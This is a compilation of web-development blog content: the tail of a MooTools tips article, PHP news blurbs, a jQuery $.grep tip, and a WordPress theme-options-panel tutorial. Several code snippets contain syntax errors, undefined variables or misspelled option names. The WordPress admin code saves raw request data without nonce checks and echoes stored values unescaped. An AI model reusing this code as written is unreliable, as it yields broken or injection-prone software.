onRemove: function() {
if(this.setStyle) {
this.setStyle('cursor',this.retrieve('original-cursor'));
}
}
};
You’ll notice that if the click event is removed, the original cursor will be restored.
10. jQuery-Style EventsWhile the MooTools event sytax is different from jQuery’s, it doesn’t have to be! With a minimal amount of
javascript you can make MooTools’ event syntax reflect jQuery’s.
MooTools holds all of its events in the Element.NativeElements object:
Element.NativeEvents = {
click: 2, dblclick: 2, mouseup: 2, mousedown: 2, contextmenu: 2, //mouse buttons
mousewheel: 2, DOMMouseScroll: 2, //mouse wheel
mouseover: 2, mouseout: 2, mousemove: 2, selectstart: 2, selectend: 2, //mouse movement
keydown: 2, keypress: 2, keyup: 2, //keyboard
focus: 2, blur: 2, change: 2, reset: 2, select: 2, submit: 2, //form elements
load: 1, unload: 1, beforeunload: 2, resize: 1, move: 1, DOMContentLoaded: 1, readystatechange: 1, //window
error: 1, abort: 1, scroll: 1 //misc
};
Essentially all you need to do is cycle through each element type and implement a method on the Element class, named like the event type,
that simulates what addEvent does:
//hash the element.natives so you can do stuff with it
var hash = new Hash(Element.NativeEvents);
//remove items that need to be replaced, add their replacements
hash.erase('mouseover').erase('mouseout').erase('DOMMouseScroll');
hash.include('mouseenter',1).include('mouseleave',1);
//initialize this
var eventHash = new Hash({});
//for every event type, add to the hash
hash.getKeys().each(function(event){
eventHash[event] = function(fn) {
this.addEvent(event,fn);
return this;
};
});
//make it happen
Element.implement(eventHash);
Now you can listen for events like:
$('myElement').click(function() {
//do stuff
});
11. Add Events During Element Creation
If you have experience coding with MooTools, at some point you’ve no doubt created an element and subsequently added events to it:
var myElement = new Element('a',{
href: 'mypage.php',
text: 'Click here!'
});
myElement.addEvent('click',function(e) {
//stop the event
if(e) e.stop();
//do stuff
});
There’s nothing wrong with the above, per say, but you could just add those events during element creation:
var myElement = new Element('a',{
href: 'mypage.php',
text: 'Click here!',
events: {
click: function() {
//stop the event
if(e) e.stop();
//do stuff
}
}
});
12. Implement Events Within Classes
Extending classes was discussed in tip #8 above. Now lets explore the *implement* functionality within MooTools classes.
What’s the difference? MooTools contributor Mark Obcena says it best in his article titled
Up The Moo Herd IV: There’s A Class For This:
MooTools has two built-in mutators: Extends and Implements. The Extends mutator takes the class name passed on to it and makes the new class inherit directly from it, while Implements takes the class (or classes) passed and adds their methods to the new class (or mixes them in—thus mixin).
With the difference between extending and implementing, lets get back to it. Implementing events within your MooTools classes
can make your classes much more flexible. Consider the following simple Overlay class:
var Overlay = new Class({
Implements: [Options,Events],
options: {
id: 'overlay',
color: '#000',
duration: 500,
opacity: 0.5,
zIndex: 5000
},
initialize: function(container,options) {
this.setOptions(options);
this.container = document.id(container);
this.overlay = new Element('div',{
id: this.options.id,
opacity: 0,
styles: {
position: 'absolute',
background: this.options.color,
left: 0,
top: 0,
'z-index': this.options.zIndex
},
}).inject(this.container);
this.tween = new Fx.Tween(this.overlay,{
duration: this.options.duration,
link: 'cancel',
property: 'opacity',
onStart: function() {
this.overlay.setStyles({
width: '100%',
height: this.container.getScrollSize().y
});
}.bind(this)
});
},
open: function() {
this.tween.start(this.options.opacity);
return this;
},
close: function() {
this.tween.start(0);
return this;
}
});
Sure the class does what it’s supposed to but it isn’t nearly as flexible it could be. Now lets implement
onClick, onClose, onHide, onOpen, and onShow events:
var Overlay = new Class({
Implements: [Options,Events], // EVENTS IMPLEMENTED HERE!
options: {
id: 'overlay',
color: '#000',
duration: 500,
opacity: 0.5,
zIndex: 5000/*,
onClick: $empty,
onClose: $empty,
onHide: $empty,
onOpen: $empty,
onShow: $empty
*/
},
initialize: function(container,options) {
this.setOptions(options);
this.container = document.id(container);
this.overlay = new Element('div',{
id: this.options.id,
opacity: 0,
styles: {
position: 'absolute',
background: this.options.color,
left: 0,
top: 0,
'z-index': this.options.zIndex
},
events: {
click: function() { // CLICK EVENT
this.fireEvent('click');
}.bind(this)
}
}).inject(this.container);
this.tween = new Fx.Tween(this.overlay,{
duration: this.options.duration,
link: 'cancel',
property: 'opacity',
onStart: function() {
this.overlay.setStyles({
width: '100%',
height: this.container.getScrollSize().y
});
}.bind(this),
onComplete: function() {
this.fireEvent(this.overlay.get('opacity') == this.options.opacity ? 'show' : 'hide'); // SHOW OR HIDE EVENT
}.bind(this)
});
},
open: function() {
this.fireEvent('open'); // OPEN EVENT
this.tween.start(this.options.opacity);
return this;
},
close: function() {
this.fireEvent('close'); // CLOSE EVENT
this.tween.start(0);
return this;
}
});
What’s great about adding events to a class is that events allow your to give more options and trigger functionality when
our class methods execute. In the above example, you can execute any functionality when the overlay opens, closes, shows, hides, or gets clicked.
Essentially you added two tiny snippets of code to the class:
Implements: [Events]
…and the following wherever you’d like an event to be signaled…
this.fireEvent('someEvent',[argument1, argument2]);
So how can you control these events when you create an instance of the class? Add them in the options like this:
var overlay = new Overlay({
onClick: function() {
this.hide();
},
onOpen: function() {
alert('Thank you for opening!');
}
});
You’d be hard pressed to find a class that wouldn’t benefit from implementing events!
13. Use Event Delegation
Event delegation is the process of adding an event to a parent for all of its children instead of assigning the
event to each individual child. The advantage of event delegation is that you may add child elements to the
parent element without needing to assign the event to that new element. If you choose to remove the event,
you need only remove it from one element.
So, instead of:
$$('a').addEvent('click',function() {
//do stuff -- individually assigned
});
…you do this:
$('myContainer').addEvent('click:relay(a)',function() {
//assigned to the parent of all A elements (in this case, #myContainer), to listen to A element click event
})/
Don’t let the “:relay()” pseudo-syntax fool you; Element.Delegation rewrites the event methods to accommodate for :relay.
14. Use Class.toElementOne hidden gem within MooTools’ Class is the Class.toElement method. Class.toElement plays a small role but can help you out
when it comes to accessing the primary element within a class, especially if you don’t know what that element is otherwise.
Implementing toElement on your class is easy:
var myClass = new Class({
Implements: [Options],
initialize: function(container,options) {
this.container = $(container);
},
toElement: function() {
return this.container;
}
});
Once you have toElement defined, you can use your class just like an element:
var myInstance = new MyClass('myElement');
myInstance.setStyle('color','#f00').set('html','This is my element!');
Look at that — a class virtually manipulated by Element methods.
15. “return this” Within Methods For ChainabilitySo we’ve all seen how the JavaScript frameworks allow you to chain the hell out of methods. Chaining looks like this:
$('myElement').setStyles('color','#f00').set('html','Click Here').fade('out').addClass('cssClass').addEvent('click',function(e) {
if(e) e.stop();
alert('Clicked'!);
});
Holy chaining Batman! Want your classes to chain forever? No problem — all you need to do is return “this”:
var myClass = new Class({
//options, initialize, implements, etc.
doSomething: function() {
//do a whole bunch of functionality here and...
return this;
},
doAnotherThing: function() {
//do a whole bunch of functionality here and...
return this;
},
doYetAnotherThing: function() {
//do a whole bunch of functionality here and...
return this.
}
});
Since you placed “return this” in each method, now you can do:
var klass = new myClass(); klass.doSomething().doAnotherThing().doYetAnotherThing();
Make sure to return “this” wherever it makes sense. Doing so can make your Class much easier to work with and your code will be shorter!
BONUS! 16. Use Fx Shortcuts on ElementsMooTools effects are unarguably the smoothest of any JavaScript framework. The Fx library also provides loads of control through numerous options.
Lets take a look at a basic Tween which fades an element to 50%:
var myTween = new Fx.Tween('myElement',{
duration: 500,
fps: 200,
//a bunch of options here
});
//fade to 50%
$('myElement').addEvent('click',function() {
myTween.start('opacity',0.5);
});
Did you know you didn’t need to type out all of this? You could use element shortcuts like:
$('myElement').fade(0.5); //fading: Fx.Tween
$('myElement').tween('width',300); //tweening: Fx.Tween
$('myElement').morph({
width: 200,
height: 300
}); //morph: Fx.Morph
The above snippets, of course, rely on you wanting to use the default options. You can actually set custom options for these shortcut methods per element:
$('myElement').set('tween',{ duration:500, fps: 200 }).tween('width',300);
Save your self a few bytes by using Fx shortcuts!
MooTools FTW!
Hopefully I’ve given you some tips to improve your MooTools JavaScript code, making it shorter, faster, and stronger. Have some of your own tips to share?
Place them in the comments below!

Derick Rethans has posted about some new browser extensions for the popular PHP-based debugger Xdebug. These are to replace the helper that is no longer available on FireFox's site (download).
Years ago I wrote about a Firefox extension that allows you to start an Xdebug debugging session by clicking on an icon in Firefox' status bar. For some unexplained reason, this extension is no longer available through Firefox' addon-site. [...] There are now a few other browser extensions that do the same thing.
He lists three new extensions that can most of what you'd need to keep your testing going - easy Xdebug, Xdebug enabler (for Chrome) and this blog post with a pure Javascript method done with bookmarklets.
This week, I've been attending Symfony Live in Paris, speaking on integrating Zend Framework with Symfony. The experience has been quite rewarding, and certainly eye-opening for many.
To be honest, I was a little worried about the conference -- many see Symfony and ZF as being in competition, and that there would be no cross-pollination. I'm hoping that between Fabien, Stefan, and myself, we helped dispel that myth this week.

On the HowToForge.com site there's a new tutorial showing you how to get Cherokee, PHP and MySQL working on Ubuntu. Chreokee is a light-weight web server that has no dependencies beyond the standard C libraries.
Cherokee is a very fast, flexible and easy to configure Web Server. It supports the widespread technologies nowadays: FastCGI, SCGI, PHP, CGI, TLS and SSL encrypted connections, virtual hosts, authentication, on the fly encoding, load balancing, Apache compatible log files, and much more. This tutorial shows how you can install Cherokee on an Ubuntu 9.10 server with PHP5 support (through FastCGI) and MySQL support.
They use the aptitude package manager to install all of the software needed - the MySQL server and client, Cherokee and PHP - and include some of the configuration options you'll need to change to get it all up and running. The PHP functionality is provided to the web server via the FastCGI installation. A few screenshots are thrown in to show the Cherokee web-based admin interface in action.

On the Ibuildings techPortal there's a new article from Johanna Cherry that takes a look at the full development life-cycle and points out that the actual coding of the application, that's the easy part.
Engineering software is so much more than coding. As a software engineer you take on several roles throughout the software development life cycle. Let us take a look at some key roles that developers play during the software development life cycle, some problems you can run into, and how to solve them.
She talks about the different roles of those involved in the parts of the process, the ones that make it all fit together like a well-oiled machine: the Planner, the Architect, the Coder, the Refactorer, the Tester and the Documentor. Each has their place in the process and to keep things running smoothly, they all need to be doing the best they can. Sometimes this also means that one person performs more than one role, depending on the situation and the need.

In a recent post to the Web Development Blog they talks a look at some methods you can use on your site to help reduce the amount of spam sent to email addresses by protecting them from scripts that might harvest them right from the page.
There are lots of spam bots checking the Internet for email addresses on regular websites, forums, blog and mailing lists. Once caught by some spam bot your mailbox is in need of a strong spam filter or sometimes it might be better to use a new e-mail address. In this article we show you different ways, how you're able to show your e-mail address to human visitors and hide it for spam bots.
They give four solutions, some a bit more practical than others - using an image instead of the text-only version of the address, hiding the @ symbol, hiding it with PHP (converting it to ASCII) and using Javascript to handle it similarly.
Years ago I wrote about a Firefox extension that allows you to start an Xdebug debugging session by clicking on an icon in Firefox' status bar. For some unexplained reason, this extension is no longer available through Firefox' addon-site. Although I have a copy at [xdebug.org] for archival purposes, there are now a few other browser extensions that do the same thing.
easy Xdebug
easy Xdebug is an extension that serves as a replacement for the now unavailable Xdebug helper extension. It's written by Brecht Vanhaesebrouck of eLime. The extension was originally tested with Netbeans but it also seems to work fine with Komodo.
Xdebug enabler
Xdebug enabler is an extension for Google's Chrome browser. It "allows you to enable and disable triggering Xdebug from with in Chrome. Useful if you are a web developer using an IDE that supports Xdebug like Eclipse with PDT." It's written by 'remailednet' and available through the Google Chrome Extensions website.
JavaScript 'enabler'
I also ran across a blog post by 'Caleb G' from HigherVisibility. Instead of making an extension for a specific browser, he outlines two JavaScript bookmarklets that allow you to start and stop an Xdebug debugging session.
In SintoniaPHP, I've posted a tutorials to create a translator client with PHP-GTK2 using Google Translator service.
The posts links are:
The jQuery method $.grep() is one of those methods that isn’t used as often as it should be. This is mostly because, until you understand exactly what it does, it can be a bit confusing. Hopefully, this video quick tip will explain when and why you would use it.
At its core, $.grep is a simple little method that will filter through an array and sift out any items that don’t pass a particular control. For example, if we have an array of the numbers 1-10, and want to filter out any values that are below 5, we can do:
var nums = '1,2,3,4,5,6,7,8,9,10'.split(',');
nums = $.grep(nums, function(num, index) {
// num = the current value for the item in the array
// index = the index of the item in the array
return num > 5; // returns a boolean
});
console.log(nums) // 6,7,8,9,10
Or let’s say that you have an array of numbers and strings, and you want to sift out all of the strings, leaving just an array of numbers. One way that we can accomplish this task is with $.grep.
var arr = '1,2,3,4,five,six,seven,8,9,ten'.split(',');
arr = $.grep(arr, function(item, index) {
// simply find if the current item, when passed to the isNaN,
// returns true or false. If false, get rid of it!
return !isNaN(item);
});
console.log(arr); // 1,2,3,4,8,9
For further training, be sure to refer to the jQuery API.

On the IBM developerWorks site there's a recent article looking to help PHP developers bridge the gap to Python by teaching some of the beginning steps in this other, different sort of language.
This article gives you a bit of exposure to Python. It assumes that you have no knowledge of that programming language, so some of what you read here might seem a bit basic. It focuses on comparing and contrasting Python with PHP - not because one language is better than the other but because of a simple truth: It's often easier to learn new things by referring back to something you already know.
They start off by introducing the language and talking about the differences between them including the differing syntax, Python's concept of mutability/immutability and the non-positional argument handling. From there, it's all about the basics - making a sample script, using loops, working with strings, conditionals, lists and dictionaries. A full sample script shows you how to pull it all together to pull in a list of files and outputs basic information about them.

New from OurBlogLog.com there's a new post that compares Joomla and Drupal based on their features, ease of use and extensibility.
I've had more than a few conversations recently about which CMS is better. From the Joomla camp I hear, "Joomla is easier. Joomla has a great user interface." From its competitor I hear, "Drupal is more flexible and it has tagging." It's the Pepsi versus Coke debate for open source CMSes.
For the two CMSes there's a list of the good and bad things about each - good on Joomla's side was the easy deployment and versioning of content, good for Drupal was its flexibility and the high profile sites that use it. On the bad side, Joomla has a limitation for one-site-one-install and limited permissions handling. Overall, though, the author found that they both had their strengths and weaknesses and that, if you're shopping around for a CMS, find what fits best for you and your organization.
Today, we’ll go through the entire process of creating an admin options panel for a WordPress theme, using the excellent WooFramework as an example. Then, we’ll take things a step further, as we implement jQuery to improve some of the functionality.
Tutorial Details
WordPress is one of the most popular Content Management Software (CMS) systems out there. Whether it be for a client project or for selling themes on ThemeForest, WordPress is fast emerging as a CMS of choice for many web developers. It’s relatively easy to use, but can be made even simpler when you include an administration panel for users. Rather than having to open up the PHP template files and fiddling with the code, users can directly use the options panel to interact with your WordPress theme.
For example – if your theme has red, blue and green color schemes, and each has a corresponding CSS file, it would be far easier for a user to select their preferred color from a dropdown list. So today, let me guide you through the entire process of creating and enhancing a WordPress admin panel page inspired by Woo.
Step 1Before we begin creating the admin panel, we need to have a theme, right? So download the source files provided with the tutorial. I’ve slightly modified the Classic WordPress theme. Place the ‘nettuts’ folder (I’ve named the theme ‘Nettuts’) in your wp-content/themes folder. You should see the following files:
Most of our work is going to be done within functions.php file.
A theme can optionally use a functions file, which resides in the theme subdirectory and is named functions.php. This file basically acts like a plugin, and if it is present in the theme you are using, it is automatically loaded during WordPress initialization (both for admin pages and external pages).
Suggested uses for this file:
Now that we’ve got our WordPress theme set up, go to Appearance>Themes, and activate the nettuts theme.
Activated? Ok, great. Now we have to think of a layout for our admin panel page. Here’s the structure I’ve decided upon:
<div class="wrap rm_wrap"> <div class="rm_opts"> <form method="post"> <div class="rm_section"> <div class="rm_title> <h3>Title</h3> <submit button> </div> <div class="rm_input rm_<select/textarea/text etc>"> <input area> <description> </div> </div> /*Repeat the inputs for as many options as required. */ /* use <div class="rm_section"> for each new section of inputs eg General, Home Page etc */ </form> </div> </div>
Let me explain all of that to you. The options set is going to be wrapped up into a div named “rm_wrap” and then “rm_opts” for the options. Then we start a form, with all the inputs within it. Each section of options(general Settings, Homepage settings, Blog settings etc) has a separate div with a class of “rm_section”. This div has a title (for the name) as well as several input divs within it. By using classes like <div class=”rm_input rm_select”>, we can style dropdowns, text inputs, and textareas differently.
Now, the most important thing is that the coding of this shouldn’t be done manually – we should use PHP’s flexibility as much as possible. That means efficiency: don’t code manually when you have loops for you!
Step 3Begin by opening up functions.php in your favorite code editor (I use Notepad++). Enter the following code:
<?php $themename = "Nettuts"; $shortname = "nt";
The two PHP variables hold the name of your theme (Nettuts in our case), and a shortname which you’ve defined (nt in our case). The shortname is used to prefix all our theme options names, and is usually unique to a particular theme. Moving on, we’ll write some code to automatically generate a list of WordPress categories, rather than having users type in ID numbers. Enter the code below under the already typed code:
$categories = get_categories('hide_empty=0&orderby=name');
$wp_cats = array();
foreach ($categories as $category_list ) {
$wp_cats[$category_list->cat_ID] = $category_list->cat_name;
}
array_unshift($wp_cats, "Choose a category");
This snippet uses WordPress’ built-in get_categories function to fetch all categories, and then uses a foreach loop to store them in the variable $wp_cats. The options “Choose a category” is then added to the top of the array
Step 4Now we start entering a list of options for the theme. See below, and paste it into your functions.php file:
$options = array (
array( "name" => $themename." Options",
"type" => "title"),
array( "name" => "General",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Colour Scheme",
"desc" => "Select the colour scheme for the theme",
"id" => $shortname."_color_scheme",
"type" => "select",
"options" => array("blue", "red", "green"),
"std" => "blue"),
array( "name" => "Logo URL",
"desc" => "Enter the link to your logo image",
"id" => $shortname."_logo",
"type" => "text",
"std" => ""),
array( "name" => "Custom CSS",
"desc" => "Want to add any custom CSS code? Put in here, and the rest is taken care of. This overrides any other stylesheets. eg: a.button{color:green}",
"id" => $shortname."_custom_css",
"type" => "textarea",
"std" => ""),
array( "type" => "close"),
array( "name" => "Homepage",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Homepage header image",
"desc" => "Enter the link to an image used for the homepage header.",
"id" => $shortname."_header_img",
"type" => "text",
"std" => ""),
array( "name" => "Homepage featured category",
"desc" => "Choose a category from which featured posts are drawn",
"id" => $shortname."_feat_cat",
"type" => "select",
"options" => $wp_cats,
"std" => "Choose a category"),
array( "type" => "close"),
array( "name" => "Footer",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Footer copyright text",
"desc" => "Enter text used in the right side of the footer. It can be HTML",
"id" => $shortname."_footer_text",
"type" => "text",
"std" => ""),
array( "name" => "Google Analytics Code",
"desc" => "You can paste your Google Analytics or other tracking code in this box. This will be automatically added to the footer.",
"id" => $shortname."_ga_code",
"type" => "textarea",
"std" => ""),
array( "name" => "Custom Favicon",
"desc" => "A favicon is a 16x16 pixel icon that represents your site; paste the URL to a .ico image that you want to use as the image",
"id" => $shortname."_favicon",
"type" => "text",
"std" => get_bloginfo('url') ."http://net.tutsplus.cdn.plus.org/favicon.ico"),
array( "name" => "Feedburner URL",
"desc" => "Feedburner is a Google service that takes care of your RSS feed. Paste your Feedburner URL here to let readers see it in your website",
"id" => $shortname."_feedburner",
"type" => "text",
"std" => get_bloginfo('rss2_url')),
array( "type" => "close")
);
That was a large chunk of code, which surely warrants some explanation. So here we go:
array( "name" => "Footer",
"type" => "section") and opening a new section.Try navigating to WordPress. You will see that there’s no option anywhere to actually view the admin panel page; so how can we view it? Add the following pieces of code to the functions.php file:
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
header("Location: admin.php?page=functions.php&saved=true");
die;
}
else if( 'reset' == $_REQUEST['action'] ) {
foreach ($options as $value) {
delete_option( $value['id'] ); }
header("Location: admin.php?page=functions.php&reset=true");
die;
}
}
add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'mytheme_admin');
}
function mytheme_add_init() {
}
This function is meant for updating options, as well as adding a menu page. If the options are being saved (indicated by a hidden variable save), then all the options are updated with their new values. If the options are being reset (indicated by another hidden variable with a value reset), then all of the options are deleted. The last line adds a menu page – the parameters are respectively, name and title, the user authorization level required to view the page, the save page and the function used for display/saving (called mytheme_admin in our case). See the mytheme_add_init, a blanbk function? Let that be, we’ll come to it later.
Step 6Still no theme options page, right? Well, remember the mytheme_admim function we had talked about a few lines ago? We still haven’t written that function. So use the code from steps 6,7 and 8 to write that function. Starting off:
function mytheme_admin() {
global $themename, $shortname, $options;
$i=0;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
?>
<div class="wrap rm_wrap">
<h2><?php echo $themename; ?> Settings</h2>
<div class="rm_opts">
<form method="post">
Pretty simple, right? If the options have been saved, write a message indicating so. Likewise for resets. You’ll notice a class=”updated fade” – WordPress will automatically fade this out in a few sections. Nifty, right? Moving on, we then start the “rm_wrap” div.
Step 7Carrying on from above, paste in the following code:
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case "open":
?>
<?php break;
case "close":
?>
</div>
</div>
<br />
<?php break;
case "title":
?>
<p>To easily use the <?php echo $themename;?> theme, you can use the menu below.</p>
<?php break;
case 'text':
?>
<div class="rm_input rm_text">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<input name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>" />
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php
break;
case 'textarea':
?>
<div class="rm_input rm_textarea">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<textarea name="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" cols="" rows=""><?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?></textarea>
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php
break;
case 'select':
?>
<div class="rm_input rm_select">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php foreach ($value['options'] as $option) { ?>
<option <?php if (get_settings( $value['id'] ) == $option) { echo 'selected="selected"'; } ?>><?php echo $option; ?></option><?php } ?>
</select>
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php
break;
case "checkbox":
?>
<div class="rm_input rm_checkbox">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<?php if(get_option($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = "";} ?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php break;
That is one large piece of code! Explanation – using a php foreach loop, each option type is evaluated on a case-by-case basis. We use a switch-case technique for this. The switch variable is the options – the cases are matched and evaluated. Notice the ‘break’ statement after each case? This is to prevent something known as the ‘fall-through’ property. When a case is matched, all successive cases are also executed. This means that if we match case 3, cases 4,5 etc. are also executed. We don’t wan’t that, right? So use a break to stop the switch-case.
If there is an “open” type option – nothing is done. If there is a “close” type options, two divs are closed. The “title” option is only used once – it is an introduction to the theme options. For each of the types “text” (input type=”text”), “select” (dropdowns), “checkbox” and “textarea” (its obvious what those mean), the corresponding input is displayed. Notice the <div class=”clearfix”> – it’s used for clearing floats, which we will do later.
Step 8We’re coming to the end of that rather massive function. Paste in the code below:
case "section":
$i++;
?>
<div class="rm_section">
<div class="rm_title"><h3><img src="<?php bloginfo('template_directory')?>/functions/images/trans.gif" class="inactive" alt="""><?php echo $value['name']; ?></h3><span class="submit"><input name="save<?php echo $i; ?>" type="submit" value="Save changes" />
</span><div class="clearfix"></div></div>
<div class="rm_options">
<?php break;
}
}
?>
<input type="hidden" name="action" value="save" />
</form>
<form method="post">
<p class="submit">
<input name="reset" type="submit" value="Reset" />
<input type="hidden" name="action" value="reset" />
</p>
</form>
<div style="font-size:9px; margin-bottom:10px;">Icons: <a href="http://www.woothemes.com/2009/09/woofunction/">WooFunction</a></div>
</div>
<?php
}
?>
For a “section” type option, I’ve used a counter variable $i. This keeps track of the sections number and conactenates it to the name of the submit button, to have unique submit buttons. There is also a last form at the end for resetting all options. The image used is going to be a transparent image used in our jQuery-fication. Use this very last piece of code to bring our functions into play:
<?php
add_action('admin_init', 'mytheme_add_init');
add_action('admin_menu', 'mytheme_add_admin');
?>
That tells WordPress to add the admin menu.
Step 9
And voila! We have our own awesome admin panel page with a separate menu position for itself. So let’s check it out – click the link. And yuck. That has got to be the most ugly admin panel page ever. So let’s call upon our good friend, CSS! Create a new folder in the nettuts/ directory and name it “functions”. Create a new CSS file there – functions.css. Paste in the following code:
.rm_wrap{
width:740px;
}
.rm_section{
border:1px solid #ddd;
border-bottom:0;
background:#f9f9f9;
}
.rm_opts label{
font-size:12px;
font-weight:700;
width:200px;
display:block;
float:left;
}
.rm_input {
padding:30px 10px;
border-bottom:1px solid #ddd;
border-top:1px solid #fff;
}
.rm_opts small{
display:block;
float:right;
width:200px;
color:#999;
}
.rm_opts input[type="text"], .rm_opts select{
width:280px;
font-size:12px;
padding:4px;
color:#333;
line-height:1em;
background:#f3f3f3;
}
.rm_input input:focus, .rm_input textarea:focus{
background:#fff;
}
.rm_input textarea{
width:280px;
height:175px;
font-size:12px;
padding:4px;
color:#333;
line-height:1.5em;
background:#f3f3f3;
}
.rm_title h3 {
cursor:pointer;
font-size:1em;
text-transform: uppercase;
margin:0;
font-weight:bold;
color:#232323;
float:left;
width:80%;
padding:14px 4px;
}
.rm_title{
cursor:pointer;
border-bottom:1px solid #ddd;
background:#eee;
padding:0;
}
.rm_title h3 img.inactive{
margin:-8px 10px 0 2px;
width:32px;
height:32px;
background:url('images/pointer.png') no-repeat 0 0;
float:left;
-moz-border-radius:6px;
border:1px solid #ccc;
}
.rm_title h3 img.active{
margin:-8px 10px 0 2px;
width:32px;
height:32px;
background:url('images/pointer.png') no-repeat 0 -32px;
float:left;
-moz-border-radius:6px;
-webkit-border-radius:6px;
border:1px solid #ccc;
}
.rm_title h3:hover img{
border:1px solid #999;
}
.rm_title span.submit{
display:block;
float:right;
margin:0;
padding:0;
width:15%;
padding:14px 0;
}
.clearfix{
clear:both;
}
.rm_table th, .rm_table td{
border:1px solid #bbb;
padding:10px;
text-align:center;
}
.rm_table th, .rm_table td.feature{
border-color:#888;
}
I won’t explain anything here; it’s pretty clear what each CSS declaration does, and you’re free to customize the layout for your own theme.
Step 10So now we have a nice CSS file. But how do we add it to the page? After all, we don’t have direct access to the <head> of the document. Remember that blank mytheme_add_init() function we wrote in Step 4? That will come in handy. Change it to this:
function mytheme_add_init() {
$file_dir=get_bloginfo('template_directory');
wp_enqueue_style("functions", $file_dir."/functions/functions.css", false, "1.0", "all");
}
That adds the functions.css file to the head. The location of the file is determined by the template directory.
Step 11
Go look at the page now. Pretty nice looking, isn’t it? But then, you ask, whats the ‘+’ icon for? Well, thats where jQuery comes in!. Create a new file rm_script.js in the nettuts/functions/ folder. Paste in the following code:
jQuery(document).ready(function(){
jQuery('.rm_options').slideUp();
jQuery('.rm_section h3').click(function(){
if(jQuery(this).parent().next('.rm_options').css('display')==='none')
{ jQuery(this).removeClass('inactive').addClass('active').children('img').removeClass('inactive').addClass('active');
}
else
{ jQuery(this).removeClass('active').addClass('inactive').children('img').removeClass('active').addClass('inactive');
}
jQuery(this).parent().next('.rm_options').slideToggle('slow');
});
});
What this does is – once the DOM loads, all the rm_options slide up. When the ‘+’ icon is clicked, the inactive class is removed from the image and the active class added – making it a ‘-’ icon. The reverse is done when the ‘-’ icon is clicked. The rm_options is then slid up or down(determined by the current CSS state) using the slideToggle function – pretty simple. To add this script, the same mytheme_add_init() function is used. Change it to:
function mytheme_add_init() {
$file_dir=get_bloginfo('template_directory');
wp_enqueue_style("functions", $file_dir."/functions/functions.css", false, "1.0", "all");
wp_enqueue_script("rm_script", $file_dir."/functions/rm_script.js", false, "1.0");
}
The jQuery script will now be active. Gp check it out. Personally, I think its beautiful!
Step 12
Now that we have our theme options page all set up, I’ll just run you through using the options. The code to use the options is as follows:
$var = get_option('nt_colur_scheme');
That will fetch the nt_color_scheme options. See the examples below:
/* To change the CSS stylesheet depending on the chosen color */
<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/<?php echo get_option('nt_color_scheme'); ?>.css" />
/*To echo some footer copyright text, with HTML */
<p><?php echo stripslashes(get_option('bl_footer_text')); ?></p>
The variety of uses is limited only by your imagination.
ConclusionI hope you’ve learned something in this tutorial. This isn’t your standard options panel. This one doesn’t use tables, it’s jQuery enhanced, uses awesome CSS, and is extremely easy to use. The point of this tutorial is to learn – you could always replace collapsible panels with tabs, for example, or even something more advanced. Use your creativity! Feel free to discuss or ask questions in the comments!
WooThemes has since released version two of their framework. You can review the details here.

The Ibuildings techPortal has posted the latest episode of their Dutch PHP Conference 2009 podcast series, a session given by Peter Verhage on handling the ups and downs of server loads and traffic.
NU.nl is a well known news website in its homeland, The Netherlands, and is actively expanding into other countries. On an average day NU.nl will serve up 7 million page views; peak traffic days are more than triple that number. [...] In this [episode] we want to look at the front end that we architected for NU.nl, and how we designed the system to handle both regular traffic and peaks.
To listen you can either use the in-page player or you can grab the mp3 directly.

Sebastian Bergmann has a new post to his blog (part of a series on testing techniques for testing that difficult code) about the hard-coded dependencies required by your code and how to stub them for easier testing.
A mock object can be used anywhere in the program where the program expects an object of the mocked class. However, this only works as long as the object can be passed into the context where the original object is used.
Ideally this wouldn't be a problem - handled correctly, dependency injection would make it a non-issue. But, because it has been known to happen, PHPUnit gives you the ability, via the set_new_overload method, to capture that object definition and mock it with a reference to another method in the test class.

Vid Luther has a recent post over on his blog today about using Phing to deploy WordPress to the cloud, more specifically to the Rackspace Cloud Sites.
My last post about Wordpress and Capistrano made people ask why wasn't I using Phing, and staying within the PHP ecosystem. The answer was simple, I wanted to learn Ruby, and I wanted to learn Capistrano. The question kept nagging me though, so I decided to find out how easy would it be to duplicate this in PHP.
He lists some of his requirements (as laid out in his Capistrano build) like made over a secure connection and can work with the Rackspace Cloud Sites. He came up against a few issues - some dealing with the platform, another about the tools installed - but besides that, things got working quickly. He includes the XML configuration file he used for Phing to get it all working happily.

